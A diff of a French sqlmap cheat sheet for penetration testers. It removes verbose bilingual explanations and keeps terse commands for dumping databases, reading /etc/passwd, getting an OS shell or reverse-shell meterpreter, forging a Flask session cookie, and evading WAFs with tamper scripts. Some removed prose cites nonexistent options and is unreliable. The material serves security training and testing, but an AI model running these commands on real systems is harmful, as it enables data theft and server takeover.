||||
|
||||
### Génériques
|
||||
### Générique
|
||||
```bash
|
||||
-u "<URL>"
|
||||
-p "<PARAM TO TEST>"
|
||||
|
@ -39,67 +41,9 @@ Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grand
|
|||
--proxy=http://127.0.0.1:8080
|
||||
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
||||
```
|
||||
### Récupérer des informations
|
||||
|
||||
#### Interne
|
||||
|
||||
##### Database
|
||||
|
||||
###### Base de données
|
||||
|
||||
To retrieve information from the internal database, you can use SQL injection techniques. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
|
||||
|
||||
Pour récupérer des informations de la base de données interne, vous pouvez utiliser des techniques d'injection SQL. SQLMap est un outil puissant qui automatise le processus de détection et d'exploitation des vulnérabilités d'injection SQL.
|
||||
|
||||
To use SQLMap, you need to provide the target URL and specify the parameters vulnerable to SQL injection. SQLMap will then analyze the target and attempt to exploit the vulnerabilities.
|
||||
|
||||
Pour utiliser SQLMap, vous devez fournir l'URL cible et spécifier les paramètres vulnérables à l'injection SQL. SQLMap analysera ensuite la cible et tentera d'exploiter les vulnérabilités.
|
||||
|
||||
Here is an example command to retrieve information from the internal database using SQLMap:
|
||||
|
||||
Voici un exemple de commande pour récupérer des informations de la base de données interne à l'aide de SQLMap :
|
||||
|
||||
```
|
||||
sqlmap -u http://example.com/page.php?id=1 --dbs
|
||||
```
|
||||
|
||||
This command tells SQLMap to target the URL `http://example.com/page.php?id=1` and retrieve the list of databases (`--dbs`) available in the internal database.
|
||||
|
||||
Cette commande indique à SQLMap de cibler l'URL `http://example.com/page.php?id=1` et de récupérer la liste des bases de données (`--dbs`) disponibles dans la base de données interne.
|
||||
|
||||
Once you have identified the database you want to explore, you can use SQLMap to retrieve the tables and columns within that database.
|
||||
|
||||
Une fois que vous avez identifié la base de données que vous souhaitez explorer, vous pouvez utiliser SQLMap pour récupérer les tables et les colonnes de cette base de données.
|
||||
|
||||
Here is an example command to retrieve the tables from a specific database:
|
||||
|
||||
Voici un exemple de commande pour récupérer les tables d'une base de données spécifique :
|
||||
|
||||
```
|
||||
sqlmap -u http://example.com/page.php?id=1 -D database_name --tables
|
||||
```
|
||||
|
||||
Replace `database_name` with the name of the database you want to explore.
|
||||
|
||||
Remplacez `database_name` par le nom de la base de données que vous souhaitez explorer.
|
||||
|
||||
Once you have retrieved the tables, you can further explore the database by retrieving the columns within a specific table.
|
||||
|
||||
Une fois que vous avez récupéré les tables, vous pouvez explorer davantage la base de données en récupérant les colonnes d'une table spécifique.
|
||||
|
||||
Here is an example command to retrieve the columns from a specific table:
|
||||
|
||||
Voici un exemple de commande pour récupérer les colonnes d'une table spécifique :
|
||||
|
||||
```
|
||||
sqlmap -u http://example.com/page.php?id=1 -D database_name -T table_name --columns
|
||||
```
|
||||
|
||||
Replace `database_name` with the name of the database and `table_name` with the name of the table you want to explore.
|
||||
|
||||
Remplacez `database_name` par le nom de la base de données et `table_name` par le nom de la table que vous souhaitez explorer.
|
||||
|
||||
By using SQLMap, you can easily retrieve information from the internal database and gain valuable insights for further exploitation.
|
||||
|
||||
En utilisant SQLMap, vous pouvez facilement récupérer des informations de la base de données interne et obtenir des informations précieuses pour une exploitation ultérieure.
|
||||
```bash
|
||||
--current-user #Get current user
|
||||
--is-dba #Check if current user is Admin
|
||||
|
@ -117,7 +61,7 @@ En utilisant SQLMap, vous pouvez facilement récupérer des informations de la b
|
|||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
## Emplacement de l'injection
|
||||
## Lieu d'injection
|
||||
|
||||
### À partir de la capture Burp/ZAP
|
||||
|
||||
|
@ -126,103 +70,15 @@ Capturez la requête et créez un fichier req.txt
|
|||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
### Injection de requête GET
|
||||
|
||||
In this section, we will discuss how to perform SQL injection attacks on GET requests using SQLMap.
|
||||
|
||||
Dans cette section, nous discuterons de la manière d'effectuer des attaques par injection SQL sur les requêtes GET à l'aide de SQLMap.
|
||||
|
||||
#### Introduction
|
||||
|
||||
SQL injection is a common vulnerability that occurs when an attacker can manipulate the input parameters of a web application's SQL query. By injecting malicious SQL code, an attacker can manipulate the query's logic and potentially gain unauthorized access to the database.
|
||||
|
||||
L'injection SQL est une vulnérabilité courante qui se produit lorsque un attaquant peut manipuler les paramètres d'entrée d'une requête SQL d'une application web. En injectant du code SQL malveillant, un attaquant peut manipuler la logique de la requête et potentiellement accéder de manière non autorisée à la base de données.
|
||||
|
||||
GET requests are commonly used to retrieve data from a web server. By injecting SQL code into the parameters of a GET request, an attacker can modify the SQL query and potentially extract sensitive information from the database.
|
||||
|
||||
Les requêtes GET sont couramment utilisées pour récupérer des données à partir d'un serveur web. En injectant du code SQL dans les paramètres d'une requête GET, un attaquant peut modifier la requête SQL et potentiellement extraire des informations sensibles de la base de données.
|
||||
|
||||
#### Using SQLMap for GET Request Injection
|
||||
|
||||
SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports various techniques for injecting SQL code into different parts of a web application.
|
||||
|
||||
SQLMap est un outil puissant qui automatise le processus de détection et d'exploitation des vulnérabilités d'injection SQL. Il prend en charge différentes techniques pour injecter du code SQL dans différentes parties d'une application web.
|
||||
|
||||
To perform a SQL injection attack on a GET request using SQLMap, you need to provide the target URL and specify the vulnerable parameter. SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability.
|
||||
|
||||
Pour effectuer une attaque par injection SQL sur une requête GET à l'aide de SQLMap, vous devez fournir l'URL cible et spécifier le paramètre vulnérable. SQLMap analysera ensuite la cible et tentera d'exploiter la vulnérabilité d'injection SQL.
|
||||
|
||||
Here is an example command to perform a SQL injection attack on a GET request using SQLMap:
|
||||
|
||||
Voici une commande exemple pour effectuer une attaque par injection SQL sur une requête GET à l'aide de SQLMap :
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/page.php?id=1" -p "id"
|
||||
```
|
||||
|
||||
In this command, `-u` specifies the target URL, and `-p` specifies the vulnerable parameter. SQLMap will automatically detect the SQL injection vulnerability and attempt to exploit it.
|
||||
|
||||
Dans cette commande, `-u` spécifie l'URL cible et `-p` spécifie le paramètre vulnérable. SQLMap détectera automatiquement la vulnérabilité d'injection SQL et tentera de l'exploiter.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Performing SQL injection attacks on GET requests can be a powerful technique for exploiting vulnerabilities in web applications. By understanding how to use tools like SQLMap, you can effectively identify and exploit SQL injection vulnerabilities, helping to secure web applications against potential attacks.
|
||||
|
||||
Effectuer des attaques par injection SQL sur des requêtes GET peut être une technique puissante pour exploiter les vulnérabilités des applications web. En comprenant comment utiliser des outils comme SQLMap, vous pouvez identifier et exploiter efficacement les vulnérabilités d'injection SQL, contribuant ainsi à sécuriser les applications web contre d'éventuelles attaques.
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
### Injection de requête POST
|
||||
|
||||
When performing a penetration test, it is common to encounter web applications that use POST requests to send data to the server. In some cases, these POST requests may be vulnerable to SQL injection attacks. SQLMap is a powerful tool that can be used to automate the process of identifying and exploiting SQL injection vulnerabilities in POST requests.
|
||||
|
||||
Lors de l'exécution d'un test de pénétration, il est courant de rencontrer des applications web qui utilisent des requêtes POST pour envoyer des données au serveur. Dans certains cas, ces requêtes POST peuvent être vulnérables aux attaques par injection SQL. SQLMap est un outil puissant qui peut être utilisé pour automatiser le processus d'identification et d'exploitation des vulnérabilités d'injection SQL dans les requêtes POST.
|
||||
|
||||
To use SQLMap with POST requests, you will need to capture the request using a proxy tool such as Burp Suite or OWASP ZAP. Once you have captured the request, you can save it to a file and then use SQLMap to analyze and exploit any SQL injection vulnerabilities.
|
||||
|
||||
Pour utiliser SQLMap avec des requêtes POST, vous devrez capturer la requête à l'aide d'un outil de proxy tel que Burp Suite ou OWASP ZAP. Une fois que vous avez capturé la requête, vous pouvez l'enregistrer dans un fichier, puis utiliser SQLMap pour analyser et exploiter les éventuelles vulnérabilités d'injection SQL.
|
||||
|
||||
To specify a POST request in SQLMap, you can use the `-r` option followed by the path to the file containing the request. SQLMap will then analyze the request and attempt to identify any SQL injection vulnerabilities.
|
||||
|
||||
Pour spécifier une requête POST dans SQLMap, vous pouvez utiliser l'option `-r` suivie du chemin vers le fichier contenant la requête. SQLMap analysera ensuite la requête et tentera d'identifier les éventuelles vulnérabilités d'injection SQL.
|
||||
|
||||
```
|
||||
sqlmap -r /path/to/request.txt
|
||||
```
|
||||
|
||||
Once SQLMap has identified a SQL injection vulnerability, you can use various options and techniques to exploit it. SQLMap can automatically retrieve database information, dump tables, and even execute operating system commands on the server.
|
||||
|
||||
Une fois que SQLMap a identifié une vulnérabilité d'injection SQL, vous pouvez utiliser différentes options et techniques pour l'exploiter. SQLMap peut automatiquement récupérer des informations sur la base de données, extraire des tables et même exécuter des commandes du système d'exploitation sur le serveur.
|
||||
|
||||
It is important to note that SQL injection attacks can be highly destructive and can lead to data breaches or unauthorized access to sensitive information. Therefore, it is crucial to obtain proper authorization and perform penetration testing only on systems that you have permission to test.
|
||||
|
||||
Il est important de noter que les attaques par injection SQL peuvent être très destructrices et peuvent entraîner des violations de données ou un accès non autorisé à des informations sensibles. Par conséquent, il est crucial d'obtenir une autorisation appropriée et de réaliser des tests de pénétration uniquement sur des systèmes pour lesquels vous avez la permission de tester.
|
||||
### Injection dans une requête POST
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
### Injections dans les en-têtes et autres méthodes HTTP
|
||||
|
||||
When performing a web application penetration test, it is important to thoroughly test for vulnerabilities in not only the request parameters but also in the headers and other HTTP methods. Attackers can exploit these areas to perform various types of injections, including SQL injection, command injection, and OS command injection.
|
||||
|
||||
#### SQL Injection
|
||||
|
||||
SQL injection occurs when an attacker is able to manipulate the SQL query being executed by the application. This can happen when user-supplied input is not properly validated or sanitized before being included in the query. By injecting malicious SQL code, an attacker can manipulate the query to perform unauthorized actions, such as extracting sensitive information from the database or modifying its contents.
|
||||
|
||||
To test for SQL injection in headers and other HTTP methods, tools like SQLMap can be used. SQLMap is a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports various techniques, such as time-based blind SQL injection and error-based SQL injection.
|
||||
|
||||
#### Command Injection
|
||||
|
||||
Command injection occurs when an attacker is able to execute arbitrary commands on the underlying operating system. This can happen when user-supplied input is passed to a system command without proper validation or sanitization. By injecting malicious commands, an attacker can execute arbitrary code, gain unauthorized access, or perform other malicious activities.
|
||||
|
||||
To test for command injection in headers and other HTTP methods, tools like SQLMap can also be used. SQLMap supports command injection testing by allowing the execution of arbitrary commands through the injection point.
|
||||
|
||||
#### OS Command Injection
|
||||
|
||||
OS command injection is similar to command injection, but it specifically targets the underlying operating system. By injecting malicious commands, an attacker can execute arbitrary commands on the operating system, potentially gaining full control over the system.
|
||||
|
||||
To test for OS command injection in headers and other HTTP methods, tools like SQLMap can be utilized. SQLMap supports OS command injection testing by allowing the execution of arbitrary commands on the underlying operating system.
|
||||
|
||||
It is important to thoroughly test for injections in headers and other HTTP methods during a web application penetration test to ensure the security of the application. By identifying and fixing these vulnerabilities, the risk of unauthorized access and data leakage can be significantly reduced.
|
||||
```bash
|
||||
#Inside cookie
|
||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||
|
@ -237,28 +93,16 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
#The injection is located at the '*'
|
||||
```
|
||||
### Indiquer la chaîne lorsque l'injection est réussie
|
||||
|
||||
Lorsque l'injection SQL est réussie, vous pouvez utiliser l'option `--string` pour indiquer une chaîne spécifique qui apparaît dans la réponse de la requête. Cela peut être utile pour confirmer que l'injection a été effectuée avec succès.
|
||||
|
||||
Par exemple, si vous savez qu'une injection réussie affiche la chaîne "Bienvenue", vous pouvez utiliser la commande suivante :
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/page.php?id=1" --string="Bienvenue"
|
||||
```
|
||||
|
||||
Cela permettra à sqlmap de rechercher la chaîne "Bienvenue" dans la réponse de la requête et de confirmer que l'injection a été réussie si elle est présente.
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** permet d'utiliser l'option `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela facilite et accélère le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, la **session cookie flask** **est signée par flask avec le secret connu avant de l'envoyer** :
|
||||
**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque payload avant de l'envoyer avec une ligne de code Python. Cela rend le traitement personnalisé du payload avant son envoi très facile et rapide. Dans l'exemple suivant, **la session cookie flask** **est signée par flask avec le secret connu avant son envoi** :
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### Shell
|
||||
|
||||
Le shell est un programme informatique qui permet à l'utilisateur d'interagir avec le système d'exploitation. Il fournit une interface en ligne de commande pour exécuter des commandes et des scripts. Le shell est un outil essentiel pour les hackers, car il leur permet d'exécuter des commandes et d'accéder aux fonctionnalités du système d'exploitation. Il existe différents types de shell, tels que Bash, PowerShell et Zsh, qui offrent des fonctionnalités avancées et des options de personnalisation. Les hackers utilisent souvent le shell pour exécuter des commandes de piratage, telles que l'injection SQL, l'exploitation de vulnérabilités et la récupération de données sensibles.
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
|
@ -269,55 +113,11 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
|||
#Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
### Lire un fichier
|
||||
|
||||
To read a file using SQL injection, you can use the `LOAD_FILE()` function in MySQL. This function allows you to read the contents of a file on the server.
|
||||
|
||||
To use `LOAD_FILE()`, you need to provide the path to the file you want to read. The path should be an absolute path, starting from the root directory of the server.
|
||||
|
||||
Here is an example of how to use `LOAD_FILE()` to read a file:
|
||||
|
||||
```sql
|
||||
SELECT LOAD_FILE('/path/to/file.txt');
|
||||
```
|
||||
|
||||
Replace `/path/to/file.txt` with the actual path to the file you want to read.
|
||||
|
||||
Keep in mind that the MySQL user executing the query needs to have the necessary permissions to access the file. If the user doesn't have the required permissions, the `LOAD_FILE()` function will return `NULL`.
|
||||
|
||||
It's important to note that reading files using SQL injection can be illegal and unethical if done without proper authorization. Always ensure that you have the necessary permissions and legal authorization before attempting any file reading operations.
|
||||
### Lire le fichier
|
||||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Parcourir un site web avec SQLmap et auto-exploiter
|
||||
|
||||
SQLmap est un outil puissant utilisé pour détecter et exploiter les vulnérabilités d'injection SQL dans les applications web. Il peut être utilisé pour automatiser le processus de découverte et d'exploitation des failles de sécurité liées à l'injection SQL.
|
||||
|
||||
Pour parcourir un site web avec SQLmap et exploiter automatiquement les vulnérabilités, suivez les étapes suivantes :
|
||||
|
||||
1. **Analyse du site web** : Utilisez la commande suivante pour analyser le site web cible et détecter les vulnérabilités d'injection SQL :
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --crawl=3 --batch
|
||||
```
|
||||
|
||||
Assurez-vous de remplacer `<URL>` par l'URL du site web que vous souhaitez analyser. L'option `--crawl=3` permet à SQLmap de parcourir jusqu'à 3 niveaux de profondeur pour trouver des liens et des formulaires à analyser. L'option `--batch` permet d'exécuter SQLmap en mode non interactif.
|
||||
|
||||
2. **Exploitation automatique** : Une fois que SQLmap a terminé l'analyse du site web, vous pouvez utiliser la commande suivante pour exploiter automatiquement les vulnérabilités d'injection SQL détectées :
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --crawl=3 --batch --dump-all
|
||||
```
|
||||
|
||||
Cette commande exécute SQLmap en mode non interactif et utilise l'option `--dump-all` pour extraire toutes les données de la base de données vulnérable.
|
||||
|
||||
Assurez-vous de remplacer `<URL>` par l'URL du site web cible.
|
||||
|
||||
3. **Analyse des résultats** : Une fois que SQLmap a terminé l'exploitation automatique, vous pouvez analyser les résultats pour trouver les informations sensibles extraites de la base de données vulnérable.
|
||||
|
||||
Les résultats seront affichés dans le répertoire de travail actuel, dans un fichier nommé `dump.csv`.
|
||||
|
||||
En suivant ces étapes, vous pourrez utiliser SQLmap pour parcourir un site web, détecter les vulnérabilités d'injection SQL et exploiter automatiquement ces failles pour extraire des informations sensibles de la base de données.
|
||||
### Explorer un site web avec SQLmap et exploitation automatique
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
|
@ -325,36 +125,16 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
### Injection de second ordre
|
||||
|
||||
Second Order Injection is a technique where an attacker injects malicious code into a web application that is stored in a database or other persistent storage. This code is then executed when the application retrieves and uses the stored data.
|
||||
|
||||
La Injection de second ordre est une technique où un attaquant injecte du code malveillant dans une application web qui est stockée dans une base de données ou autre support de stockage persistant. Ce code est ensuite exécuté lorsque l'application récupère et utilise les données stockées.
|
||||
|
||||
This type of injection can be more difficult to detect and exploit compared to traditional SQL injection, as the malicious code is not executed immediately upon injection. Instead, it is executed at a later time when the application retrieves the stored data.
|
||||
|
||||
Ce type d'injection peut être plus difficile à détecter et à exploiter par rapport à l'injection SQL traditionnelle, car le code malveillant n'est pas exécuté immédiatement après l'injection. Au lieu de cela, il est exécuté ultérieurement lorsque l'application récupère les données stockées.
|
||||
|
||||
To exploit a second order injection vulnerability, an attacker typically needs to find a way to store their malicious code in the application's database or other persistent storage. This can be achieved through various means, such as submitting user input that is not properly sanitized or leveraging other vulnerabilities in the application.
|
||||
|
||||
Pour exploiter une vulnérabilité d'injection de second ordre, un attaquant doit généralement trouver un moyen de stocker son code malveillant dans la base de données de l'application ou autre support de stockage persistant. Cela peut être réalisé de différentes manières, telles que la soumission d'une entrée utilisateur qui n'est pas correctement désinfectée ou en exploitant d'autres vulnérabilités de l'application.
|
||||
|
||||
Once the malicious code is stored, it can be triggered when the application retrieves and uses the stored data. This can lead to various types of attacks, such as remote code execution, data manipulation, or privilege escalation.
|
||||
|
||||
Une fois que le code malveillant est stocké, il peut être déclenché lorsque l'application récupère et utilise les données stockées. Cela peut entraîner différents types d'attaques, telles que l'exécution de code à distance, la manipulation de données ou l'escalade de privilèges.
|
||||
|
||||
To prevent second order injection attacks, it is important to properly sanitize and validate all user input before storing it in the application's database or other persistent storage. Additionally, regular security testing and code reviews can help identify and mitigate potential vulnerabilities.
|
||||
|
||||
Pour prévenir les attaques d'injection de second ordre, il est important de désinfecter et de valider correctement toutes les entrées utilisateur avant de les stocker dans la base de données de l'application ou autre support de stockage persistant. De plus, des tests de sécurité réguliers et des examens de code peuvent aider à identifier et à atténuer les vulnérabilités potentielles.
|
||||
### Injection de Second Ordre
|
||||
```bash
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**Lisez cet article**](second-order-injection-sqlmap.md) **sur la façon d'effectuer des injections de second ordre simples et complexes avec sqlmap.**
|
||||
[**Lisez ce post**](second-order-injection-sqlmap.md) **pour apprendre à réaliser des injections de second ordre simples et complexes avec sqlmap.**
|
||||
|
||||
## Laboratoires pour s'entraîner
|
||||
## Labs pour pratiquer
|
||||
|
||||
* Apprenez à utiliser sqlmap en l'utilisant dans la **salle THM**:
|
||||
* Apprenez à utiliser sqlmap dans la **salle THM** :
|
||||
|
||||
{% embed url="https://tryhackme.com/room/sqlmap" %}
|
||||
|
||||
|
@ -369,141 +149,83 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
|||
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||
```
|
||||
### Aide pour trouver une injection booléenne
|
||||
|
||||
---
|
||||
|
||||
#### Description
|
||||
|
||||
La technique d'injection booléenne est une méthode couramment utilisée pour exploiter les vulnérabilités de sécurité dans les applications web. Elle consiste à manipuler les requêtes SQL en insérant des expressions booléennes afin de déterminer si une condition est vraie ou fausse.
|
||||
|
||||
L'outil `sqlmap` est un outil de test d'injection SQL automatisé qui peut être utilisé pour détecter et exploiter les vulnérabilités d'injection SQL, y compris les injections booléennes.
|
||||
|
||||
#### Utilisation de `sqlmap` pour trouver une injection booléenne
|
||||
|
||||
Pour utiliser `sqlmap` afin de trouver une injection booléenne, suivez les étapes suivantes :
|
||||
|
||||
1. Lancez `sqlmap` en spécifiant l'URL de la cible :
|
||||
|
||||
```bash
|
||||
sqlmap -u <URL de la cible>
|
||||
```
|
||||
|
||||
2. Utilisez l'option `--dbs` pour extraire les noms des bases de données :
|
||||
|
||||
```bash
|
||||
sqlmap -u <URL de la cible> --dbs
|
||||
```
|
||||
|
||||
3. Sélectionnez la base de données cible en utilisant l'option `--db` :
|
||||
|
||||
```bash
|
||||
sqlmap -u <URL de la cible> --db=<nom de la base de données>
|
||||
```
|
||||
|
||||
4. Utilisez l'option `--tables` pour extraire les noms des tables de la base de données cible :
|
||||
|
||||
```bash
|
||||
sqlmap -u <URL de la cible> --db=<nom de la base de données> --tables
|
||||
```
|
||||
|
||||
5. Sélectionnez la table cible en utilisant l'option `--table` :
|
||||
|
||||
```bash
|
||||
sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table>
|
||||
```
|
||||
|
||||
6. Utilisez l'option `--columns` pour extraire les noms des colonnes de la table cible :
|
||||
|
||||
```bash
|
||||
sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table> --columns
|
||||
```
|
||||
|
||||
7. Sélectionnez les colonnes cibles en utilisant l'option `--dump` :
|
||||
|
||||
```bash
|
||||
sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table> --columns=<noms des colonnes> --dump
|
||||
```
|
||||
|
||||
8. `sqlmap` affichera les données extraites de la base de données cible, y compris les éventuelles informations sensibles.
|
||||
|
||||
---
|
||||
|
||||
Pour plus d'informations sur l'utilisation de `sqlmap`, consultez la documentation officielle : [https://github.com/sqlmapproject/sqlmap/wiki](https://github.com/sqlmapproject/sqlmap/wiki)
|
||||
```bash
|
||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Altérer
|
||||
### Tamper
|
||||
|
||||
Rappelez-vous que **vous pouvez créer votre propre altération en python** et c'est très simple. Vous pouvez trouver un exemple d'altération dans la [page d'injection de second ordre ici](second-order-injection-sqlmap.md).
|
||||
Rappelez-vous que **vous pouvez créer votre propre tamper en python** et c'est très simple. Vous pouvez trouver un exemple de tamper dans la [page d'injection de second ordre ici](second-order-injection-sqlmap.md).
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Remplace le caractère apostrophe par son homologue en pleine largeur UTF-8 |
|
||||
| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal |
|
||||
| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile |
|
||||
| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
|
||||
| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Remplace l'espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
|
||||
| chardoubleencode.py | Double l'encodage URL de tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
|
||||
| commalesslimit.py | Remplace les occurrences de 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Remplace les occurrences de 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Remplace les occurrences de 'CONCAT(A, B)' par 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Encode en URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
|
||||
| charunicodeencode.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "%u0022" |
|
||||
| charunicodeescape.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "\u0022" |
|
||||
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
|
||||
| escapequotes.py | Échappe les guillemets (' et ") |
|
||||
| greatest.py | Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
|
||||
| ifnull2ifisnull.py | Remplace les occurrences de 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
|
||||
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire de version zéro |
|
||||
| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
|
||||
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres |
|
||||
| percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère |
|
||||
| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés) |
|
||||
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de casse aléatoire |
|
||||
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
|
||||
| securesphere.py | Ajoute une chaîne spécialement conçue |
|
||||
| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du DBMS |
|
||||
| space2comment.py | Remplace l'espace (' ') par des commentaires |
|
||||
| space2dash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
|
||||
| space2hash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
|
||||
| space2morehash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') |
|
||||
| space2mssqlblank.py | Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs |
|
||||
| space2mssqlhash.py | Remplace l'espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n') |
|
||||
| space2mysqlblank.py | Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs |
|
||||
| space2mysqldash.py | Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n') |
|
||||
| space2plus.py | Remplace l'espace (' ') par un signe plus ('+') |
|
||||
| space2randomblank.py | Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs |
|
||||
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et |
|
||||
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
|
||||
| unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) |
|
||||
| uppercase.py | Remplace chaque caractère de mot-clé par la valeur en majuscule 'INSERT' |
|
||||
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
|
||||
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
|
||||
| xforwardedfor.py | Ajoute un en-tête HTTP fictif 'X-Forwarded-For' |
|
||||
| apostrophemask.py | Remplace le caractère apostrophe par son équivalent en pleine largeur UTF-8 |
|
||||
| apostrophenullencode.py | Remplace le caractère apostrophe par son double illégal en unicode |
|
||||
| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin du payload |
|
||||
| base64encode.py | Encode en Base64 tous les caractères d'un payload donné |
|
||||
| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Remplace le caractère espace après une instruction SQL par un caractère blanc valide aléatoire. Remplace ensuite le caractère = par l'opérateur LIKE |
|
||||
| chardoubleencode.py | Double l'encodage en URL de tous les caractères d'un payload (sans traiter ceux déjà encodés) |
|
||||
| commalesslimit.py | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Remplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Encode en URL tous les caractères d'un payload donné (sans traiter ceux déjà encodés) |
|
||||
